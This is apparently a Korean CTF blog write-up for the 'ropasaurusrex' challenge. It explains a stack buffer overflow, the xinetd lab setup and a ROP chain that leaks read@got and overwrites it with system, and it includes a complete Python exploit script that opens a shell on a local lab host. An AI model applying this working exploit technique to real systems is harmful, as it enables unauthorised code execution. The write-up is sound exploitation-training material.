ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • ropasaurusrex
    CTF&Wargame/ETC 2017.01.04 22:41

    우선 함수하나를 호출하고 다음 WIN을 출력하게 된다.


    buf가 0x88인데 0x100까지 입력받을 수 있어서 취약점이 생긴다.


    135개까지는 괜찮은데 136개부터 세크먼테이션 폴트가 뜬다.


    NX가 적용되어 있기 때문에 쉘코드를 이용해서 푸는건 내가 못한다.


    ROP 기법을 사용해 문제를 풀어본건데 환경 설정 부터해보자

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    service rop
    {
        flags = REUSE
        socket_type = stream
        wait = no
        user = root
        server = /home/tory/Desktop/rop
        disable = no
    }
     
    echo "rop 1234/tcp" >> /etc/services
    cs

    xinetd 데몬을 사용해서 돌리는데 이렇게 설정하고 nc로 접속해보자.


    잘 구동되는 것을 볼 수 있다.


    페이로드를 생각해보면 

    /bin/sh를 메모리 영역에 쓰고 write 함수를 사용해 read@got에서 read의 실제 주소를 구한다. 그 후 read 함수로 read@got를 실제 시스템 주소로 덮어쓴다. 이제 read함수를 통해 system("/bin/sh")를 할 수 있다.


    read(0, dynamic, 8);

    write(1, read_got, 4);

    read(0, read_got, 4);

    read(dynamic);


    /bin/sh를 넣을 영역은 dynamic로 선택했다 bss가 8바이트 밖에 안되기 때문이다 하지만 그냥 써도 상관 없을 듯하다.


    다음 pppr을 통해 인자를 잘 전달할 수 있게 하고



    read의 plt와 got를 구하였다



    write의 plt와 got도 구하였다


    ASLR 상태에서 시스템 함수 주소는 got에서 얻은 실제 주소로 얻을 수 있다

    0x9ae80



    이제 구할건 다했다 익스플로잇을 해보자!

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    from time import *
    from struct import *
    from socket import *
     
    = lambda x:pack("<L",x)
    up = lambda x:unpack("<L",x)[0]
     
    dynamic = 0x08049530
    pppr = 0x080484b6
     
    read_plt = 0x0804832c
    read_got = 0x0804961c
     
    write_plt = 0x0804830c
    write_got = 0x08049614
     
    offset = 0x9ae80
    cmd = "/bin/sh"
     
    payload = ''
    payload = 'A'*140
    payload += p(read_plt)
    payload += p(pppr)
    payload += p(0)
    payload += p(dynamic)
    payload += p(len(cmd)+1)
     
    payload += p(write_plt)
    payload += p(pppr)
    payload += p(1)
    payload += p(read_got)
    payload += p(4)
     
    payload += p(read_plt)
    payload += p(pppr)
    payload += p(0)
    payload += p(read_got)
    payload += p(4)
     
    payload += p(read_plt)
    payload += 'AAAA'
    payload += p(dynamic)
     
    ip = '192.168.153.139'
    port = 1234
     
    = socket()
    s.connect((ip,port))
     
    print '[*] sending payload...'
     
    s.send(payload+'\n')
    s.send(cmd+'\n')
    sleep(1)
     
    read = up(s.recv(4))
    print '[*] read_addr = '+hex(read)
     
    system = read - offset
    print '[*] system_addr = '+hex(system)
     
     
    sleep(1)
    s.send(p(system))
     
     
     
    print '[*] exploit!!!'
    s.send("id\n")
    sleep(1)
     
    print s.recv(100)
    cs



    'CTF&Wargame > ETC' 카테고리의 다른 글

    Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07
    Pico ctf 2014 rop1  (0) 2017.01.05
    ropasaurusrex  (0) 2017.01.04
    NEWSECU CTF Write-up  (0) 2017.01.01
    holyshield ppc  (0) 2016.12.24
    holyshield BrokenPiano  (0) 2016.12.22

    댓글 0

Designed by Tistory.